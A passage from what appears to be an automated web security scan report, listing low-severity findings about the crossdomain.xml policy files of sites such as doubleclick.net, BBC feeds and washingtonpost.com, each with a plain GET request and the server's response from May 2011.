<allow-access-from domain="www.adbrite.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.britepic.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.britepic.com" secure="true" />
...[SNIP]...

5.105. http://cdn.shoutlet.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cdn.shoutlet.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.shoutlet.com

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "b9c2a0-179-5e144d00"
Accept-Ranges: bytes
Content-Type: application/xml
Age: 217699
Date: Tue, 10 May 2011 13:15:42 GMT
Last-Modified: Fri, 21 May 2010 17:53:24 GMT
Content-Length: 377
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.shoutlet.com" />
<allow-access-from domain="*.shoutlet.dev" />
<allow-access-from domain="*.thematerialgroup.com" />
<allow-access-from domain="*.amfamdigital.com" />
...[SNIP]...

5.106. http://cim.meebo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cim.meebo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cim.meebo.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:11:32 GMT
Content-Type: text/xml; charset=utf-8
Content-Length: 303
Last-Modified: Thu, 28 Apr 2011 16:54:16 GMT
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="www.meebo.com"/>
<allow-access-from domain="*.meebo.com"/>
<allow-access-from domain="meebo.com"/>
<allow-access-from domain="*.meebome.com"/>
<allow-access-from domain="www.meebome.com"/>
<allow-access-from domain="meebome.com"/>
...[SNIP]...

5.107. http://cookex.amp.yahoo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cookex.amp.yahoo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cookex.amp.yahoo.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:27:30 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Fri, 14 May 2010 21:53:13 GMT
Accept-Ranges: bytes
Content-Length: 1548
Connection: close
Content-Type: application/xml

<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
...[SNIP]...
<allow-access-from domain="*.sueddeutsche.de" />
<allow-access-from domain="*.ooyala.com" />
<allow-access-from domain="*.cbs.com" />
<allow-access-from domain="*.fwmrm.net" />
<allow-access-from domain="*.auditude.com" />
<allow-access-from domain="*.brightcove.com" />
<allow-access-from domain="*.mavenapps.net" />
<allow-access-from domain="*.maventechnologies.com" />
<allow-access-from domain="*.grindtv.com" />
<allow-access-from domain="*.vipix.com" />
<allow-access-from domain="*.maven.net" />
<allow-access-from domain="*.mlb.com" />
<allow-access-from domain="*.broadcast.com" />
<allow-access-from domain="*.comcast.net" />
<allow-access-from domain="*.comcastonline.com" />
<allow-access-from domain="*.flickr.com" />
<allow-access-from domain="*.hotjobs.com" />
<allow-access-from domain="*.launch.com" />
<allow-access-from domain="*.overture.com" />
<allow-access-from domain="*.rivals.com" />
<allow-access-from domain="*.scrippsnewspapers.com" />
<allow-access-from domain="*.vmixcore.com" />
<allow-access-from domain="*.vmix.com" />
<allow-access-from domain="*.yahoo.com" />
<allow-access-from domain="*.yahooligans.com" />
<allow-access-from domain="*.yimg.com" />
...[SNIP]...

5.108. http://disqus.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://disqus.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: disqus.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:24:49 GMT
Server: Apache
Vary: Cookie,Accept-Encoding
p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Connection: close
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.usopen.org" to-ports="80,96" secure="false" />
...[SNIP]...

5.109. http://edge.sharethis.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://edge.sharethis.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: edge.sharethis.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Fri, 06 May 2011 17:23:38 GMT
ETag: "24e42-14a-4a29ec0155a80"
Content-Type: application/xml
Date: Tue, 10 May 2011 14:16:30 GMT
Content-Length: 330
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*.meandmybadself.com" />
<allow-access-from domain="*.sharethis.com" />
...[SNIP]...

5.110. http://feeds.bbci.co.uk/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://feeds.bbci.co.uk
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: feeds.bbci.co.uk

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 20 Apr 2011 09:07:59 GMT
Content-Type: text/xml
Cache-Control: max-age=110
Expires: Tue, 10 May 2011 14:10:52 GMT
Date: Tue, 10 May 2011 14:09:02 GMT
Content-Length: 1081
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-o
...[SNIP]...
<allow-access-from domain="downloads.bbc.co.uk" />
   <allow-access-from domain="www.bbcamerica.com" />
   <allow-access-from domain="*.bbcamerica.com" />
   <allow-access-from domain="www.bbc.co.uk" />
   <allow-access-from domain="news.bbc.co.uk" />
   <allow-access-from domain="newsimg.bbc.co.uk"/>
   <allow-access-from domain="nolpreview11.newsonline.tc.nca.bbc.co.uk" />
   <allow-access-from domain="newsrss.bbc.co.uk" />
   <allow-access-from domain="newsapi.bbc.co.uk" />
   <allow-access-from domain="extdev.bbc.co.uk" />
   <allow-access-from domain="stats.bbc.co.uk" />
   <allow-access-from domain="*.bbc.co.uk"/>
   <allow-access-from domain="*.bbci.co.uk"/>
   <allow-access-from domain="*.bbc.com"/>
...[SNIP]...
<allow-access-from domain="jam.bbc.co.uk" />
   <allow-access-from domain="dc01.dc.bbc.co.uk" />
...[SNIP]...

5.111. http://googleads.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Tue, 10 May 2011 01:49:06 GMT
Expires: Wed, 11 May 2011 01:49:06 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 40964

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.112. http://media.philly.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://media.philly.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: media.philly.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=10800
Content-Type: text/xml
Date: Tue, 10 May 2011 13:12:08 GMT
Expires: Tue, 10 May 2011 16:12:08 GMT
Last-Modified: Tue, 15 Mar 2011 12:47:35 GMT
Server: ECS (dca/532A)
Via: 1.0 dv-c1-r3-u7-b13:3128 (squid)
X-Cache: HIT
X-Server-Name: dv-c1-r2-u14-b5
Content-Length: 4529
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain="www.philly.com" />

<allow-access-from domain="dev.www.philly.com" />

<allow-access-from domain="stage.www.philly.com" />
...[SNIP]...
<allow-access-from domain="cms.clickability.com" />
...[SNIP]...
<allow-access-from domain="inquirer.philly.com" />

<allow-access-from domain="www.argentumwebs.com" />

<allow-access-from domain="argentumwebs.com" />

<allow-access-from domain="www.biemedia.com" />

<allow-access-from domain="biemedia.com" />

<allow-access-from domain="support.biemedia.com" />

<allow-access-from domain="inquirer.philly.com" />

<allow-access-from domain="go.philly.com" />

<allow-access-from domain="aps1.philly.com" />

<allow-access-from domain="*.brightcove.com" />

<allow-access-from domain="rss.teamfanshop.com" />

<allow-access-from domain="feeds.teamfanshop.com" />

<allow-access-from domain="images.footballfanatics.com" />

<allow-access-from domain="concepts.philly.com" />

   <allow-access-from domain="http://doubleclick.net"/>
...[SNIP]...
<allow-access-from domain="http://ad.doubleclick.net"/>
   <allow-access-from domain="http://ad.uk.doubleclick.net"/>
   <allow-access-from domain="http://ad.ie.doubleclick.net"/>
   <allow-access-from domain="http://ad.fr.doubleclick.net"/>
   <allow-access-from domain="http://ad.es.doubleclick.net"/>
   <allow-access-from domain="http://ad.it.doubleclick.net"/>
   <allow-access-from domain="http://ad.de.doubleclick.net"/>
   <allow-access-from domain="http://ad.nl.doubleclick.net"/>
   <allow-access-from domain="http://ad.se.doubleclick.net"/>
   <allow-access-from domain="http://ad.au.doubleclick.net"/>
   <allow-access-from domain="http://ad.jp.doubleclick.net"/>
   <allow-access-from domain="http://ad.cn.doubleclick.net"/>
   <allow-access-from domain="http://ad.tw.doubleclick.net"/>
   <allow-access-from domain="http://ad.hk.doubleclick.net"/>
   <allow-access-from domain="http://creatives.doubleclick.net"/>
   <allow-access-from domain="http://dfa.doubleclick.com"/>
   <allow-access-from domain="http://dfa.doubleclick.net"/>
   <allow-access-from domain="http://dfp.doubleclick.com"/>
   <allow-access-from domain="http://dfp.doubleclick.net"/>
   <allow-access-from domain="http://motifcdn.doubleclick.net"/>
   <allow-access-from domain="http://motifcdn2.doubleclick.net"/>
   <allow-access-from domain="http://m.doubleclick.net"/>
   <allow-access-from domain="http://m.2mdn.net"/>
   <allow-access-from domain="http://m.uk.2mdn.net"/>
   <allow-access-from domain="http://m.fr.2mdn.net"/>
   <allow-access-from domain="http://m.de.2mdn.net"/>
   <allow-access-from domain="http://m.se.2mdn.net"/>
   <allow-access-from domain="http://m.au.2mdn.net"/>
   <allow-access-from domain="http://m.jp.2mdn.net"/>
   <allow-access-from domain="http://m.cn.2mdn.net"/>
   <allow-access-from domain="http://m.tw.2mdn.net"/>
   <allow-access-from domain="http://m.hk.2mdn.net"/>
   <allow-access-from domain="http://m1.doubleclick.net"/>
   <allow-access-from domain="http://m1.2mdn.net"/>
   <allow-access-from domain="http://m1.jp.2mdn.net"/>
   <allow-access-from domain="http://m2.doubleclick.net"/>
   <allow-access-from domain="http://m2.2mdn.net"/>
   <allow-access-from domain="http://m3.doubleclick.net"/>
   <allow-access-from domain="http://m3.2mdn.net"/>
   <allow-access-from domain="http://demo.doubleclick.com"/>
   <allow-access-from domain="http://demo.doubleclick.net"/>
   <allow-access-from domain="http://sandbox.dartmotif.com"/>
   <allow-access-from domain="http://2mdn.aolcdn.com"/>
   <allow-access-from domain="http://static.2mdn.net"/>
   <allow-access-from domain="http://s0.2mdn.net"/>
   <allow-access-from domain="http://s1.2mdn.net"/>

<allow-access-from domain="www.phrequency.com" />

<allow-access-from domain="dev.www.phrequency.com" />

<allow-access-from domain="stage.www.phrequency.com" />

<allow-access-from domain="media.phrequency.com" />

<allow-access-from domain="www.citypaper.net" />

<allow-access-from domain="dev.www.citypaper.net" />

<allow-access-from domain="stage.www.citypaper.net" />

<allow-access-from domain="media.citypaper.net" />

<allow-access-from domain="*.issuu.com" />

<allow-access-from domain="dev.kb.philly.com" />

<allow-access-from domain="stage.kb.philly.com" />
...[SNIP]...

5.113. http://media.washingtonpost.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://media.washingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: media.washingtonpost.com

Response

HTTP/1.0 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Sun, 06 Feb 2011 23:42:57 GMT
Content-Type: application/xml
Content-Length: 478
X-Cnection: close
Cache-Control: must-revalidate, max-age=357
Date: Tue, 10 May 2011 13:13:40 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.washingtonpost.com"/>
<allow-access-from domain="admin.brightcove.com"/>
<allow-access-from domain="*.newsweek.com"/>
<allow-access-from domain="*.digitalink.com"/>
<allow-access-from domain="*.slate.com"/>
<allow-access-from domain="livingstories.googlelabs.com"/>
...[SNIP]...

5.114. http://media3.washingtonpost.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://media3.washingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: media3.washingtonpost.com

Response

HTTP/1.0 200 OK
Server: Web Server
Cache-Control: max-age=60
Expires: Tue, 10 May 2011 13:14:23 GMT
ETag: "1de-4bbdfb0a"
Last-Modified: Thu, 08 Apr 2010 15:51:37 GMT
Content-Type: text/xml
Date: Tue, 10 May 2011 13:13:23 GMT
Content-Length: 478
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.washingtonpost.com" />
<allow-access-from domain="admin.brightcove.com" />
<allow-access-from domain="*.newsweek.com"/>
<allow-access-from domain="*.digitalink.com"/>
<allow-access-from domain="*.slate.com"/>
<allow-access-from domain="livingstories.googlelabs.com" />
...[SNIP]...

5.115. http://media7.washingtonpost.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://media7.washingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: media7.washingtonpost.com

Response

HTTP/1.0 200 OK
Server: Web Server
Cache-Control: max-age=60
Expires: Tue, 10 May 2011 13:51:09 GMT
Content-Type: text/xml
Last-Modified: Thu, 08 Apr 2010 15:51:21 GMT
ETag: "1de-4bbdfb79"
Date: Tue, 10 May 2011 13:50:09 GMT
Content-Length: 478
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.washingtonpost.com" />
<allow-access-from domain="admin.brightcove.com" />
<allow-access-from domain="*.newsweek.com"/>
<allow-access-from domain="*.digitalink.com"/>
<allow-access-from domain="*.slate.com"/>
<allow-access-from domain="livingstories.googlelabs.com" />
...[SNIP]...

5.116. http://mm.chitika.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: mm.chitika.net

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:31:37 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2008 19:48:27 GMT
ETag: "1d983fd-23d-477878c0"
Accept-Ranges: bytes
Content-Length: 573
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
   <allow-access-from domain="vip.unitedsites.com.ar" />
   <allow-access-from domain="*.unitedsites.com.ar" />
   <allow-access-from domain="*.shleper.net" />
   <allow-access-from domain="*.shoshkeles.com" />
   <allow-access-from domain="*.unitedvirtualities.com" />
   <allow-access-from domain="*.akamai.net" />
   <allow-access-from domain="*.chitika.com" />
   <allow-access-from domain="*.chitika.net" />
<allow-access-from domain="208.78.43.149" />
<allow-access-from domain="*.2c-studio.com" />
...[SNIP]...

5.117. http://newsrss.bbc.co.uk/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://newsrss.bbc.co.uk
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: newsrss.bbc.co.uk

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 20 Apr 2011 09:07:59 GMT
Content-Type: text/xml
Cache-Control: max-age=120
Expires: Tue, 10 May 2011 14:10:41 GMT
Date: Tue, 10 May 2011 14:08:41 GMT
Content-Length: 1081
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-o
...[SNIP]...
<allow-access-from domain="downloads.bbc.co.uk" />
   <allow-access-from domain="www.bbcamerica.com" />
   <allow-access-from domain="*.bbcamerica.com" />
   <allow-access-from domain="www.bbc.co.uk" />
   <allow-access-from domain="news.bbc.co.uk" />
   <allow-access-from domain="newsimg.bbc.co.uk"/>
   <allow-access-from domain="nolpreview11.newsonline.tc.nca.bbc.co.uk" />
...[SNIP]...
<allow-access-from domain="newsapi.bbc.co.uk" />
   <allow-access-from domain="extdev.bbc.co.uk" />
   <allow-access-from domain="stats.bbc.co.uk" />
   <allow-access-from domain="*.bbc.co.uk"/>
   <allow-access-from domain="*.bbci.co.uk"/>
   <allow-access-from domain="*.bbc.com"/>
...[SNIP]...
<allow-access-from domain="jam.bbc.co.uk" />
   <allow-access-from domain="dc01.dc.bbc.co.uk" />
...[SNIP]...

5.118. http://optimized-by.rubiconproject.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://optimized-by.rubiconproject.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: optimized-by.rubiconproject.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:23:20 GMT
Server: RAS/1.3 (Unix)
Last-Modified: Fri, 17 Sep 2010 22:21:19 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Wed, 17 Sep 1975 21:32:10 GMT
Accept-Ranges: bytes
Content-Length: 223
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.rubiconproject.com" />

...[SNIP]...

5.119. http://pagead2.googlesyndication.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://pagead2.googlesyndication.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pagead2.googlesyndication.com

Response

HTTP/1.0 200 OK
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Tue, 10 May 2011 00:50:51 GMT
Expires: Wed, 11 May 2011 00:50:51 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 44764

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.120. http://politics.gather.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://politics.gather.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: politics.gather.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:20 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Last-Modified: Thu, 28 Apr 2011 14:40:49 GMT
ETag: "204c2-163-4a1fb8b133e40"
Accept-Ranges: bytes
Content-Length: 355
Keep-Alive: timeout=5, max=97
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.quantserve.com"/>
<allow-access-from domain="*.gather.com"/>
<allow-access-from domain="*.aetna.com"/>
<allow-access-from domain="*.intelihealth.com"/>
...[SNIP]...

5.121. http://pubads.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://pubads.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pubads.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Tue, 10 May 2011 03:44:20 GMT
Expires: Wed, 11 May 2011 03:44:20 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 34327
Cache-Control: public, max-age=86400

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.122. http://rd.meebo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://rd.meebo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: rd.meebo.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:11:35 GMT
Content-Type: text/xml; charset=utf8
Content-Length: 91
Last-Modified: Thu, 05 May 2011 20:20:00 GMT
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="*.meebo.com"/>
</cross-domain-policy>

5.123. http://redux.com/crossdomain.xml previous next

Summary

Severity:	Low
